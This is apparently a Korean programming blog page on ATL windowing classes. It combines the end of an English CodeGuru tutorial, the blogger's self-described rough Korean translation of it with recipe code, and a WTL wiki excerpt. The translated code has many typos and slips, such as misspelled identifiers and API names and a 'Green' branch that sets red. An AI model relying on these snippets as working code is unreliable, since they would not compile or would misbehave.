  5. Next, we'll code the WM_INITDIALOG to add some strings to the combobox. First, remove the Sort style in the combobox. Then, right-click on the CListDialog class and select Add Windows Message Handler. Change the filter to Dialog. Add and Edit a handler for WM_INITDIALOG. Code as shown below - you'll see that the crucial declaration of the combobox class object is very similar to what it would be with the MFC:
    LRESULT OnInitDialog(UINT uMsg, WPARAM wParam,                     LPARAM lParam, BOOL& bHandled){ CWindow combo(GetDlgItem(IDC_COMBO1)); combo.SendMessage(CB_ADDSTRING, 0, (LPARAM)"Red"); combo.SendMessage(CB_ADDSTRING, 0, (LPARAM)"Green"); combo.SendMessage(CB_ADDSTRING, 0, (LPARAM)"Blue"); return CSimpleDialog<IDD_DIALOG1>::OnInitDialog(  uMsg, wParam, lParam, bHandled);}

  6. Note: make sure the CHAIN_MSG_MAP macro is the last entry in the map. Change the menuitem handler in the frame to use this new CListDialog class. Build and test.

  7. OK, but what about DDX/DDV? I hear you say. Well, let's code the IDOK pushbutton to retrieve the selected string from the list. First put the appropriate macro in the message map:
    COMMAND_ID_HANDLER(IDOK, OnOK)
  8. Next code the OnOK handler as shown below. We'll store the text into a CComBSTR member in our dialog class called m_text:
    LRESULT OnOK(WORD, WORD wID, HWND, BOOL&){ CComBSTR text; GetDlgItemText(IDC_COMBO1, m_text.m_str); ::EndDialog(m_hWnd, wID); return 0;}
  9. Finally, update the menuitem handler in the frame to make use of the text extracted from the dialog, then build and test:
    LRESULT OnViewDialog(WORD wNotifyCode, WORD wID,                     HWND hWndCtl, BOOL& bHandled){ // CSimpleDialog<IDD_DIALOG1> dlg; CListDialog dlg; if (IDOK == dlg.DoModal()) {  if (dlg.m_text == CComBSTR("Red"))   m_wndView.m_color = RGB(255,0,0);  else if (dlg.m_text == CComBSTR("Green"))   m_wndView.m_color = RGB(0,255,0);  else if (dlg.m_text == CComBSTR("Blue"))   m_wndView.m_color = RGB(0,0,255); } return 0;}

If you want to extend this app with toolbars and statusbars, you can use the ATL CStatusBarCtrl and CToolBarCtrl classes - these are defined in atlcontrols.h, although Microsoft doesn't officially support them. In the next article, I'll consider the WTL -- another officially unsupported Microsoft library. You'll then be able to make intelligent comparisons between ATL and WTL front-end support, and informed decisions about ATL/WTL versus MFC.

'Computer Science' 카테고리의 다른 글

인터넷 소켓 활용  (0) 2009.05.18
[ VMWare ] Workstation / GSX Server / ESX Server 의 차이점  (0) 2009.05.16
ATL::CWindow 사용하기  (0) 2009.04.28
wtl  (0) 2009.04.25
WTL code  (0) 2009.04.25

Using the ATL Windowing Classes


이글은 코드구루의 내용을 연습삼아 번역한 것이라서 번역은 엉망이다.


요즘 ATL 이란 놈이 머리를 아프게 한다...

ATL은 배우는 것은 힘들지만 MFC보다 작기 때문에 배우는데 짧은 기간이 걸린다고 한다.

근데 힘들다는 것은 그만큼 오래 걸린다는 것고 같은 의미라고 느껴진다.

세상에 쉬운것은 없군...

ATL 은 COM을 지원하기 위해 디자인 되었지만 윈도우를 모델링 하는 클래스 영역도 포함한다고

한다. 그리고 ActiveX 같은 윈도우를 가지는 객체도 만들수 있다.

아래는 ATL 에서의 주요 윈도우 클래스들이다.


CWindow - 윈도우를 조작하기 위한 Win32 APIs의 작은 랩퍼 클래스이다.

윈도우 핸들과 HWND 를 CWindow 로 변환하는 오퍼레이터를 포함한다.

그러므로 윈도우 핸들을 필요로하는 어떤 함수에 CWindow 오브젝트를

넘길수 있다.

CWindowImpl - 이미 존재하는 윈도우를 서브클래싱 하거나 이미 존재하는 클래스를

수퍼클래싱 하거나 , 윈도우 베이스의 새로운 윈도우를 만들때

사용한다.
CContainedWindow - 다른 클래스의 메세지 맵을 위한 메세지 경로를 구현한 윈도우

클래스이다. 이 클래스는 하나의 클래스에 메세지 처리를 집중하는 것을 허락한다.

CAxWindow - 컨트롤을 만들거나 존재 하는 컨트롤에 붙임으로써 ActiveX control

호스트 윈도우 구현을 지원한다.
CDialogImpl - 모달이나 모달리스 다이얼로스를 구현한다. IDOK 나 IDCANCEL 같은

기본 메세지 경로를 지원한다.
CSimpleDialog - 단순 모달 다이얼로그를 주어진 리소스 ID로 구현한다. IDOK나 IDCANCEL과

같은 기본 메세지 맵을 기지고 있다.
CAxDialogImpl - CDialogImpl 과 같이 모달과 모달리스를 를 구현하는 베이스 클래스로 사용되

며 상속된 클래스에 기본 메세지 맵을 제공한다.
추가로 ActiveX 컨트롤을 지원한다. ATL 오브젝트 위저드에서 CAxDialogImpl에

상속된 클래스를 프로젝트에 넣은 것을 지원한다.

CWndClassInfo - 새로운 윈도우 클래스의 정보를 보관한다.

특별히 WNDCLASSEX를 캡슐화한다.

CWndTraits and CWinTraitsOR - ATL 윈도우 오브젝트의 스타일을 캡슐화한다.

Message Maps

ATL을 공부하는데 시간을 투자하는 것이 꺼려지는 이유 중 하나가 괴상한 메세지 맵이다.
그러나 MFC의 메세지의 매크로를 처음 봤을 때 이해가 됬는가?
사실 ATL의 맵은 더 쉽다....(과연 그럴까?)

베이스 추상클래스의 CMessageMap 으로부터의 상속과 CWindowImpl 에서 상속된 클래스들은

윈도우 메세지들을 처리할 수 있도록 해준다.
CMessageMap 에 순수 가상함수로 정의 된 ProcessWindowMessage 는 CWindowImpl에서

상속된 클래스의 BEGION_MSG_MAP 과 END_MSG_MAP 매크로를 통해 구현된다.

ATL은 MFC와 유사한 포멧의 메세지 핸들러 가졌고 추가적으로 BOOL& 형의 아규먼트를 받는다.
이 아규먼트는 메세지가 진행중인지 아닌지를 나타내고 TURE 가 기본값이다.

FALSE 은 메세지를 가지고 있지 않다는 것이다.
FALSE인 경우 ATL 은 메세지 맵에서 보다 먼 핸들러 함수를 찾는다.

FLASE를 셋팅함으로 어떤 액션을 가 할 수 있는데 기본 프로세싱을
허용하거나 메세지 핸들링을 끝내기 위해 다른 핸들러 함수를 허용할 수 있다.


메세지 맵의 매크로는 다음과 같이 3가지 있다.
1. 모든 메세지를 위한 메세지 핸들러
2. WM_COMMAND 메세지를 위한 커맨드 핸들러
3. WM_NOTIFY 메세지를 위한 통지 핸들러

MESSAGE_HANDLER 핸들러 함수를 위한 윈도우 메세지 맵
COMMAND_HANDLER 메뉴 나 통지 코드, 컨트롤, 단축키의 ID 에 기초한 WM_COMMAND 메세지 핸들러 함수의 메세지 맵
COMMAND_ID_HANDLER 메뉴 , 컨트롤, 단축키의 ID 에 기초한 WM_COMMAND 메세지 핸들러 함수의 메세지 맵
COMMAND_CODE_HANDLER 통지 코드에 기초한 WM_COMMAND 메세지 핸들러 맵
NOTIFY_HANDLER 컨트롤 식별자나 통지코드에 기초한 WM_NOTIFY 메세지 핸들러
NOTIFY_ID_HANDLER 컨트롤 식별자에 기초한 WM_NOTIFY 메세지 핸들러
NOTIFY_CODE_HANDLER 통지 코드에 기초한 WM_NOTIFY 메세지 핸들러

예로 ATL 다이얼로그 폼에서 클래스에서 자식 컨트롤를 가진다면 아래와 같이 메세지 맵이 보여진다.

BEGIN_MSG_MAP(CMyDialog) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_HANDLER(IDC_EDIT1, EN_CHANGE, OnChangeEdit1) COMMAND_ID_HANDLER(IDOK, OnOK) COMMAND_CODE_HANDLER(EN_ERRSPACE, OnErrEdits) NOTIFY_HANDLER(IDC_LIST1, NM_CLICK, OnClickList1) NOTIFY_ID_HANDLER(IDC_LIST2, OnSomethingList2) NOTIFY_CODE_HANDLER(NM_DBLCLK, OnDblClkLists) END_MSG_MAP()
MFC 아키텍쳐에서는 서로 다른 메세지 스키마 루틴의 사용도 허락한다. 
:(상위 계층을 통한 윈도우 메세지 루틴과 가로지는 doc-view 클래스를
가로지는 커맨드 메세지)
첫 스키마는 탬플릿 클래스 구현의 부분적인 느슨한 계층을 가진 ATL 에서는
사용할 수 없다.
두번째 스키마도 MFC 아키텍쳐와 동등하지 않기 때문에 적절치 않다
.
(...먼소린지.. @@;)

Alternate Message Maps

Alternate Message Map은 CContainedWindow 를 통해 사용하도록 디자인 되었다.

이 클래스는 다른 클래스로 메세를 보낼때 쓰여진다.
이는 부모 윈도우에 의해 자식 윈도우로 메세지를 보내는 것도 허락된다.
CContainedWindow 생성자는 메세지 맵의 주소를 필요로 한다. 그리고 메세지 맵내에
선택적 메세지맵의 ID를 필요로 한다.
예로, 윈도우 컨트롤에 기초한 ATL 컨트롤을 만들 때 객체 마법사는 CContainedWindow 멤버가
끼워 넣어진 컨트롤을 위한 클래스를 생성한다.
본질적으로, 이 컨테이너 윈도우는 ActiveX control 에 기초한 특유의 윈도우 컨트롤 슈버클래싱
한다.

class ATL_NO_VTABLE CMyButton : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CMyButton, &CLSID_MyButton>, public CComControl<CMyButton>, //... { public: CContainedWindow m_ctlButton; CMyButton() : m_ctlButton(_T("Button"), this, 1) { } BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>) ALT_MSG_MAP(1) END_MSG_MAP() //...
버튼은 WNDCLASS 스타일이고 캡션이 없다. 이 포함 클래스의 포인터는 두가지 파라미터를
보내고 , 그리고 첫변째 값은 CContainedWindow 생성자 alternate messge map에
대한 생성자가 넘어온다.
만약 컨트롤의 WM_LBUTTONDOWN을 핸들링 하기 원한다면 아래와 같이 메세지 맵을

업데이트 하면 된다. 이와 같은 벙법은 부모윈도우의 메세지맵에 메세지가 보내어 지고,
메세지 맵의 선택적 부분에도 보내어 진다.





BEGIN_MSG_MAP(CMyButton)
MESSAGE_HANDLER(WM_CREATE, OnCreate)
MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus)
CHAIN_MSG_MAP(CComControl<CMyButton>)
ALT_MSG_MAP(1)
MESSAGE_HANDLER(WM_LBUTTONDOWN, OnLButtonDown)
END_MSG_MAP()

그래서 alternate message map들은 메세지 핸들러들을 통합하기 위한 전략이다.

Chained Message Maps

Chaining message maps 은 다른 클래스나 오프젝트안의 메세지 맵을 통해 메세지를 보낸다. ATL은 몇몇 map - chaining 매크로를 제공한다.

CHAIN_MSG_MAP(theBaseClass)베이스 클래스의 기본 메세지 맵에 메세지를 보낸다.
CHAIN_MSG_MAP_ALT(theBaseClass, mapID)베이스 클래스의 alternate 메세지 맵에 메세지를 보낸다.
CHAIN_MSG_MAP_MEMBER(theMember)데이터 맴버로 명시된 기본 메세지 맵에 메세지를 보낸다.(CMessageMap에서 상속된)
CHAIN_MSG_MAP_ALT_MEMBER(theMember, mapID)명시된 데이터 맴버의 alternate 메세지 맵에 메세지를 보낸다.

예로, 윈도우 컨트롤에 기초한 ATL 컨트롤을 만들 때 오브젝트 마법사는 다음과 같은 코드를 작성
한다.

BEGIN_MSG_MAP(CMyButton)
MESSAGE_HANDLER(WM_CREATE, OnCreate)
MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus)
CHAIN_MSG_MAP(CComControl<CMyButton>)
ALT_MSG_MAP(1)
END_MSG_MAP()

이 WM_CREATE 와 WM-SETFOCUS 메세지의 명세는 이 클래스에 의해서 조정될 것이다.
그러나 어떤 다른 메세지는 베이스 클래스인 CComControl<> 에 보내어질 것이다.
또한 이 메세지 핸들에 false 가 지정되어 있다면 이들 메세지는 더 먼 핸들링을 위해
베이스 클래스를 지나갈 것이다.
데이터 맴버에 보낸 메세지는 이와 같이 맵을 업데이트 해야 한다.

BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>) ALT_MSG_MAP(1) CHAIN_MSG_MAP_MEMBER(m_ctlButton) END_MSG_MAP()
이것은 m_ctlButton 이 컨테이너 윈도우의 멤버이라는 가정하이고,
CContainedwindow 에서 상속받은 클래스의 인스턴스이다는 전제하에 이다.
class CMyButtonControl : public CContainedWindow { //... BEGIN_MSG_MAP(CMyButtonControl) MESSAGE_HANDLER(WM_LBUTTONDOWN, OnLButtonDown) END_MSG_MAP() 

그래서, chained 메세지 맵은 다른 메세지 맵으로 부터의 chain - route 메세지들을 허락한다.
MFC에 의 변환된 스키마를 보내는 메세지 개념과 유사하다.

Reflected Messages

부모 윈도우는 reflected 메세지로서 메세지를 뒤로 보내는 것에 의해 자식 컨트롤에게 메세지 를 보낸것을 조정할 수 있다.
이는 원본 메세지 + 플래그 일 것이다. 컨트롤이 메세지를 얻었을 때 컨테이너로 부터 반사된 것으로서 식별이 가능하다.
예로 자식 컨트롤에서 WM_DRAWITEM 메세지를 조정하고 싶을 때이다.
이와 같은 작업을 위해 REFLECT_NOTIFICATIONS 는 반드시 부모 윈도의 메세지맵에 나타난다.
BEGIN_MSG_MAP(CMyDialog) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_ID_HANDLER(IDOK, OnOk) NOTIFY_HANDLER(IDC_EDIT1, EN_CHANGE, OnChangeEdit1) REFLECT_NOTIFICATIONS() END_MSG_MAP()
REFLECT_NOTIFICATIONS 매크로는 CWindowImpl::ReflectNodifications를
호출하기 위해 확장한다.
template <class TBase> LRESULT CWindowImplRoot<TBase>::ReflectNotifications(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled);
함수는 메세지르 보내는 자식 컨트롤 을 위한 윈도우 핸들을 추출한다.
그리고 메세지를 아래와 같이 보낸다.
::SendMessage(hWndChild, OCM_ _BASE + uMsg, wParam, lParam);

자식 윈도우 reflected message 핸들들DMS
MESSAGE_HANDLER 매크로 와 olectrl.h에 미리 정의된 reflected 메세지 IDs

를 사용한다.

BEGIN_MSG_MAP(CMyContainedControl) MESSAGE_HANDLER(OCM_DRAWITEM, OnDrawItem) DEFAULT_REFLECTION_HANDLER() END_MSG_MAP()

이 예제에서 보여진 OCM_DRAWITEM 은 다음과 같이 정의 되어 있다.
#define OCM_ _BASE (WM_USER+0x1c00) #define OCM_COMMAND (OCM_ _BASE + WM_COMMAND) //... #define OCM_DRAWITEM (OCM_ _BASE + WM_DRAWITEM)

DEFAULT_REFLECTION_HANDLER 매크로는 원본 메세지와 DefWindowProc를 지나온 메세지를 변환한다.

Recipe 1: ATL Window App

이것은 ATL Window 클래스를 이용해 단순한 어플리케이션을 쉽게 만들 목적으로
디자인된 단순한 예제이다.

ATL Com AppWizard 는 COM 오브젝트를 위한 호스트를 제공하기 위해 디지인 되어 있다.
만약 non-COM 어플리케이션 이라면 위저드는 더 많은 것을 필요로한다.
그래서 ATL 어플리켄이션을 만들기 위해 두가지 선택이 필요하다.

1. ATL COM AppWizard EXE server
2. 수동적으로 추가해 주는 Win32 Application

여기서는 위저드가 생성한 코드를 피하고 가벼운 두번째 방법으로 따르겠다.
1. Win32 Application 을 Simple option 으로 생성
---ATL
2. stdafx.h에 ATL 헤더와 외부 참조 CComModule 를 추가한다.
#include <atlbase.h>
extern CComModule _Module;
#include <atlcom.h>
#include <atlwin.h>

3. main CPP 에 ATL 객체 맵을 추가하고 CComModule 오브젝트를 정의한다.
CComModule _Module;

BEGIN_OBJECT_MAP(ObjectMap)
END_OBJECT_MAP()

4. 프로젝트와 같은 이름의 IDL 파일을 생성한다.
library SomethigOrOther
{
};
--Window
5. CWindowImpl<CMyWidnow> 를 베이스 클래스로 한 CMyWindow를 생성한다.
그리고 stdafx.h 를 인클루드 해 준다.
6. 새로운 클래스에 메세지 맵을 정의한다.
BEGIN_MSG_MAP(CMyWindow)
END_MSG_MAP()

7. WM_DESTROY 메세지를 위한 핸들러를 추가하고 아래오 같이 코드를 넣어준다.
LRESULT OnDestroy(UINT uMsg, WPARARM wParam, LPRARAM lParam, BOOL& bHandled)
{
PostQuitMessage(0);
return 0;
}

8. 유사하게 WM_PAINT 핸들러를 추가하고 코드를 추가한다.
LRESULT OnPaint(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bhandled)
{
PAINTSTRUCT ps;
HDC hDC = GetDC();
BeginPaint(&ps);
TextOut(hDC,0,0,_T("HelloWorld"),11);
EndPaint(&ps);
return 0;
}

----WinMain
9. WinMain 의 위와 아라에 CComModule::Init과 Term을 넣는다.
_Module.Init(NULL,hINstance);
//....
_Module.Term();
10. Init 과 Term 사이에 윈도우 클래스의 인스턴스를 정의하고 Create을 호출해서 초기화한다.
CMyWindow wnd;
wnd.Create(NULL, CWindow::rcDefault, _T("Hello"),
WS_OVERLAPPEDWINDOW|WS_VISIBLE);
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

11. 이제 빌드하고 실행해보라.
단순히 클라이언트 영역에 "Hello World" 메세지를 볼 수 있을것이다.

Recipe 2: ATL Frame-View App

이 프로젝트에서는 ATL 윈도우 클래스 들로 MFC SDI Frame_view 패러다임 모델을 생성 할
것이다. 뷰와 메뉴와 다이얼로그를 넣어볼 것이다.
1. Recipe 1 과 같이 프로젝트를 생성한다.
---Mainframe Window
2. CWindowImpl<CMainFrame,CWindow,CFrameWinTraits>로 부터 상속받은
CMainFrame을 생성한다. WNDCLASS 구조체 이름을 정의하고 메세지 맵을 추가한다.
DECLARE_WND_CLASS(_T("MyFrame"))

BEGION_MSG_MAP(CMainFrame)
END_MSG_MAP()
3. OnFinalMessage를 상속받아야 한다.
- 몇개 안되는 ATL 가상함수로 WM_NCDESTROY 메세지를 받았을 때 호출된다.
void OnFinalMessage(HWND /*hwnd*/)
{
::PostMessage(0);
}

4. 이제 WinMain 에 몇몇 코드를 넣는다. 위와 아래에 CComModule의 초기화와 종결화를 넣는다.
_Module.Init(NULL, hInstance, NULL);
_Module.Term();

5. mainframe를 include 하고 Init과 Term 사이에 프레임의 인스턴스를 정의하고
Create를 호출해서 초기화한다.
CMainFrame mf;
mf.Create(GetDesktop(),CWindow::reDefault, _T("My App"),0,0,0);
mf.ShowWindow(SW_SHOWNORMAL);
MSG msg;
while(GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

6. Bake and Serve
-- View Window
7. 이제 view 클래스를 넣어보자.
CWindowImpl<CViewWin,CWindow,CWinTraits>에서 상속 받는 CViewWin을 생성하자.
8. stdafx.h를 인클루드하고 WNDCLASS와 메세지 맵을 정의한다.
CMainFrame 에 맴버변수로 CViewWin의 인스턴스를 추가하고
frame의 WM_CREATE에 view 를 생성하라.
LRESULT OnCreate(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)
{
m_wndView.Create(m_hWnd, CWindow::rcDefault, _T("MyView"),0,0,0);
return 0;
}

9. 또한 WM_SIZE에서 view의 사이즈를 구현해 준다.
LRESULT OnSize(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)
{
RECT r;
GetClient(&r);
m_wndView.SetWindowPos(NULL,&r,SWP_NOZDRDER | SWP_NOACTIVATE);
return 0;
}


User Interface

이제 WM_LBUTTONDOWN, WM_MOUSEMOVE, WM_LBUTTONUP 메세지를 핸들링 할것이다

10. 먼저, 두개의 POINT 데이터를 맴버로 두고, 생성자에서 -1 로 초기화한다.
시작 부터 끝날 때까지 각각의 라인을 그리는 트랙을 유지해야한다.
m_stratPoint.x = m_startPoint.y = -1;
m_endPoint.x = m_endPoint.y = -1;

11. 다음으로 OnLButtonDown,에서 라인의 시작점을 저장한다.
LRESULT OnLButtonDown(UINT uMsg, WPARAM wParam,
LPARAM lParam, BOOL& bHandled)
{
m_startPoint.x = LOWORD(lParam);
m_startPoint.y = HIWORD(lParam);
return 0;
}
12. OnLButtonUP 에서 시작 점을 초기화한다.
LRESULT OnLButtonUP(UINT uMsg, WPARAM wParam,

LPRARAM lParam, BOOL& bHandled)
{
m_startPoint.x = m_startPoint.y = -1;
return 0;
}

13. OnMouseMove 에서는 좀더 많은 작업을 해줘야 한다.

먼저 끝점을 저장한다. 그리고 DC를 얻어 MoveToEX 와 LineTo 를
사용해서 라인을 그린다. 마지막으로 끝점을 시작점에 저장한다.
LRESULT OnMouseMove(UINT uMsg, WPARAM wParam,
LPARAM lParam, BOOL& bHandled)
{
m_endPoint.x = LOWORD(lParam);
m_endPoint.y = HIWORD(lParam);
HDC hdc = GetDC();
if(m_startPoint.x != -1)
{
MoveToEx(hdc, m_strarPoint.x, m_startPoint.y , NULL);
LineTo(hdc, m_endPoint.x, m_endPoint.y);
m_startPoint.x = m_endPoint.x;
m_startPoint.y = m_endPoint.y;
}
}

Recipe 3: ATL Menus

펜 컬러를 넣는 단순한 메뉴를 넣어보자
1. 프로젝트를 계속 이어가서, 첫번째로, 뷰 클래스에 COLORREF 형의 m_color 맴버 변수를
넣는다. 초기화는 생성자에서 블랙으로 한다.
그리고 이것을 사용해서 OnMouseMove핸들러에서 펜을 만들고 DC 에서 선택한다.
DC를 사용후에는 원래 펜을 선택한다.
HPEN hp = CreatePen(PS_SOLID, 2, m_color);
HPEN op = (HPEN)SelectObject(hdc, hp);


2. 메뉴에 리소스를 삽입한다. 상위 레벨에 Color 이라는 캡션을 추가하고 메뉴 아이템으로
red, green, blue 를 추가한다.
3. WinMain 에서 리소르 헤더를 인클루드하고 mainframe 을 생성하기 전에 메뉴를 로드하고
Create 를 호출한다.
HMENU hMenu = LoadMenu(_Module.GetResourceInstance(),
MAKEiNTERESOURDE(IDR_MENU1));
mf.Create(GetDesktopWindow(), CWindow::rcDefault, _T("My App"), 0,0, (UINT) hMenu);

4. 메뉴 아이템을 위해 command 핸들러를 main frame 에 넣어준다.
BEGIN_MSG_MAP(CMainFrame)
MESSAGE_HANDLER(WM_CREATE, OnCreate)
MESSAGE_HANDLER(WM_SIZE, OnSize)
COMMAND_ID_HANDLER(ID_COLOR_RED,OnColorRed)
COMMAND_ID_HANDLER(ID_COLOR_GREEN, OnColorGreen)
COMMAND_ID_HANDLER(ID_COLOR_BLUE, OnColorBlue)
END_MSG_MAP()

5. 3개의 핸들러에 대해서 해야할 작업을 적어준다.
LRESULT OnColorRed(WORD wNotifyCode, WORD wID, HWND hWndCtrl, BOOL& bHandled)
{
m_wndView.m_color = RGB(255,0,0);
return 0;
}


Recipe 4: ATL Dialogs

단순한 다이얼로그 리소스를 추가해 보자.

1. 위의 프로젝트에 이어서 "View" 메뉴를 넣고 "Dialog"메뉴 아이템을 넣자.
command 핸들러를 main - frame 메세지 맵에 넣는다.
COMMAND_ID_HANDLER(ID_VIEW_DIALOG, OnViewDialog)
2. 여기서는 CSimpleDialog 를 직접 사용할 것이다.
먼저 새로운 다이얼로그 리소스를 넣고, static box 를 넣는다.
메뉴에 대한 명령 핸들러에서 이것을 이용한다.
LRESULT OnViewDialog(WORD wNotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled)
{
CSimpleDialog<IDD_DIALOG1> dlg;
dlg.DoModal();
return 0;
}

3. 좀더 멋을 부리고 싶다면 CSimpleDialog 로 부터 상속 받을 수 있다.
그래서 첫번째로 리소스 에디터에서 combobox 를 넣는다.

    4. 그리고 CListDialog 라는 CSimpleDialog<IDD_DIAOG1>로 부터 상속 받은 새로운 클래스를
    만든다. stdafx.h 를
    인클루드 하는 것을 잊지말라. 새로운 클래스에 메세지 맵을 추가하고 맵에
    베이스 클래스의 메세지 맵에 묶기 위한 코드를 기입한다.
    BEGIN_MSG_MAP(CListDialog)
    CHAIN_MSG_MAP(CSimpleDialog<IDD_DIALOG1>)
    END_MSG_MAP()

    5. 다음으로 combobox에 문자열을 추가하기 위해 WM_INITDIALOG에 코드를 추가해
    줄 것이다. 먼저 콤보박스에 sort 속성을 제거한다.
    LRESULT OnIntiDialog(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)
    {
    CWindow combo(GetDlgItem(IDC_COMBO1));
    combo.SendMessage(CB_ADDSTRING, 0 , (LPARAM)"Red");
    combo.SendMessage(CB_ADDSTRING, 0 , (LPARAM)"Green");
    combo.SendMessage(CB_ADDSTRING, 0 , (LPARAM)"Blue");
    return CSimpleDialog<IDD_DIALOG1>::OnInitDailog(uMsg,wParam,lParam,bHandled);
    }
    6. Note : CHAIN_MSG_MAP 매크로 는 맵의 마지막 진입점이다.
    7. DDX/DDV는 어떻게 하는가?
    COMMAND_ID_HANDLER(IDOK, OnOK)
    8. OnOK는 아래와 같이 적어준다. m_text라는 CComBSTR 형 맴버변수에 텍스는 저장할 것이다.
    LRESULT OnOK(WORD, WORD nID, HWND, bool&)
    {
    CComBSTR text;
    GetDlgItemText(IDC_COMBO1,m_text.m_str);
    ::EndDilog(m_hWnd, wID);
    return 0 ;
    }
    9. 마지막으로 다이얼로그로 부터 추출한 텍스트를 사용하기 위해 메뉴 아이템 핸들러를
    업데이트 한다.
    LRESULT OnViewDialog(WORD wnotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled)
    {
    CListDialog dlg;
    if(IDOK == dlg.DoModal())
    {
    if(dlg.m_text == CComBSTR("Red"))
    m_wndView.m_Color = RGB(255,0,0);
    else if(dlg.m_text == CComBSTR("Green"))
    m_wndView.m_color = RGB(255,0,0);
    else if(dlg.m_text == CComBSTR("Blue"))
    m_wndView.m_color = RGB(0,0,255);
    }
    return 0;
    }

    만약 툴바와 상태바로 이 app 를 확장하고 싶다면 ATL CStatusBarCtrl 과 CToolBarCtrl 클래스를
    이용할 수 있다. 이것은 atlcontrols.h 에정의 되어 있지만 MS가 기본적으로 지원하지 않는다.

    'Computer Science' 카테고리의 다른 글

    [ VMWare ] Workstation / GSX Server / ESX Server 의 차이점  (0) 2009.05.16
    Using the ATL Windowing Classes  (0) 2009.04.28
    wtl  (0) 2009.04.25
    WTL code  (0) 2009.04.25
    COM Architecture : Threading models  (0) 2009.04.24

    http://serious-code.net/moin.cgi/WTL#head-985b205a281fe54ca528258d5d78b84520539515

    serious-code.net WTL

    1. Windows Template Library
    2. 시작하기
      1. 설치
      2. 링크
      1. 리스트뷰 컨트롤 Full Row Select 켜기
      2. 모달 다이얼로그 컨트롤 리사이징
      3. ClientEdge 그리기
      4. Contained Window
      5. 더블 버퍼링
      6. IDLE 처리
      7. Custom Modal Dialog
      8. DDX
      9. 메뉴 업데이트
      10. 단축키
      11. RichEdit 컨트롤 사용하기
    3. 다운로드


    1 Windows Template Library

      [WWW]http://sourceforge.net/projects/wtl/

      윈도우즈 애플리케이션 및 UI 컴포넌트 개발을 위한 C++ 라이브러리. ATL을 기반으로 개발되었으며, 각종 컨트롤, 대화창, 윈도우 프레임, GDI 오브젝트 등을 제공한다.

      API로 GUI 프로그래밍하려니 귀찮고, MFC를 쓰자니 의존성이 짜증나는 경우, 대안으로 사용할 수 있다. 템플릿 기반으로 작성되었고, 특별한 DLL 같은 것을 필요로 하지 않는다. 문제는 관련 문서가 너무 부족하다는 것이다. 공식적인 헬프 파일도 존재하지 않고, 인터넷에 있는 문서들도 MFC 같은 것에 비하면 거의 없는 것과 마찬가지다.

      장단점을 요약해 보자면 다음과 같다.

      from [WWW]http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=show&ixPost=18197

      I built a couple of medium sized GUI apps with WTL.

      My experience was generally positive, but I had been using ATL for at least four years by that point, and considered something of an expert in it. With that background, WTL was a breath of fresh air to me compared to the MFC prison.

      The plus side of WTL:
      • Designed like ATL rather than MFC. Functionality is composed via multiple inheritance in a shallow hierarchy rather than using a deep single-inheritance hierarchy where the functionality you want isn't in the branch you need it (What do you mean I need a view to have scrolling support?)
      • All source code is available, and it's quite readable if you understand ATL. This also alleviates the "end of life" arguments - who cares if it doesn't get maintained? You've got the source code, and it's easy to tweak.
      • Since WTL is built around composition, it's dirt simple to extend to do whatever you need to.
      • Support from WTL's author is quite good - there's a WTL yahoo group that he hangs out on.

      Down sides of WTL:
      • If you don't know ATL, or are afraid of templates, stay away. It won't make any sense at all.
      • Documentation is essentially non-existant. There's a good intro article (2 parts) on http://www.develop.com somewhere that explains the basics of what's in the library and how to use it. http://www.codeproject.com has a WTL section with some good stuff. But there's no books and no printed articles and no likelyhood of any appearing any time soon.
      • Very slow compile times. Lots of templates mean lots of work for the compiler.

      In general, WTL is the expert's tool. If you know Win32 programming well, and understand how ATL is put together, WTL will make you VERY productive, even without the handholding of wizards. If you aren't, well, you're in for a bit of a tough road. But the destination is well worth it.

      On the other hand, if you just want to churn out a couple of dialogs, use WinForms instead.


    2 시작하기

    3 팁

      3.1 리스트뷰 컨트롤 Full Row Select 켜기

        myListCtrl.SetExtendedListViewStyle(LVS_EX_FULLROWSELECT);
        API를 모르니 원...

      3.2 모달 다이얼로그 컨트롤 리사이징

        class cMainDialog : public CDialogImpl<cMainDialog>,                    public CDialogResize<cMainDialog> // !!!{    ...    BEGIN_MSG_MAP_EX(cMainDialog)        MSG_WM_INITDIALOG(OnInitDialog)        ...        CHAIN_MSG_MAP(CDialogResize<cMainDialog>) // !!!    END_MSG_MAP()    // !!!    BEGIN_DLGRESIZE_MAP(cMainDialog)        DLGRESIZE_CONTROL(IDC_GEOMETRY_GROUP, DLSZ_SIZE_X)        DLGRESIZE_CONTROL(IDC_LEVEL_EDIT, DLSZ_SIZE_X)        DLGRESIZE_CONTROL(IDC_LEVEL_BUTTON, DLSZ_MOVE_X)        DLGRESIZE_CONTROL(IDC_GEOMETRY_EDIT, DLSZ_SIZE_X)        DLGRESIZE_CONTROL(IDC_GEOMETRY_BUTTON, DLSZ_MOVE_X)    END_DLGRESIZE_MAP()    LRESULT OnInitDialog(HWND hwndFocus, LPARAM lParam)    {        ...        DlgResize_Init(true, true, WS_THICKFRAME);  // !!!        ...    }};

      3.3 ClientEdge 그리기

        딱히 ATL/WTL 과 관련된 것도 아니고, 윈도우 생성할 때 WS_EX_CLIENTEDGE 플래그 주면 그만인 내용이지만...
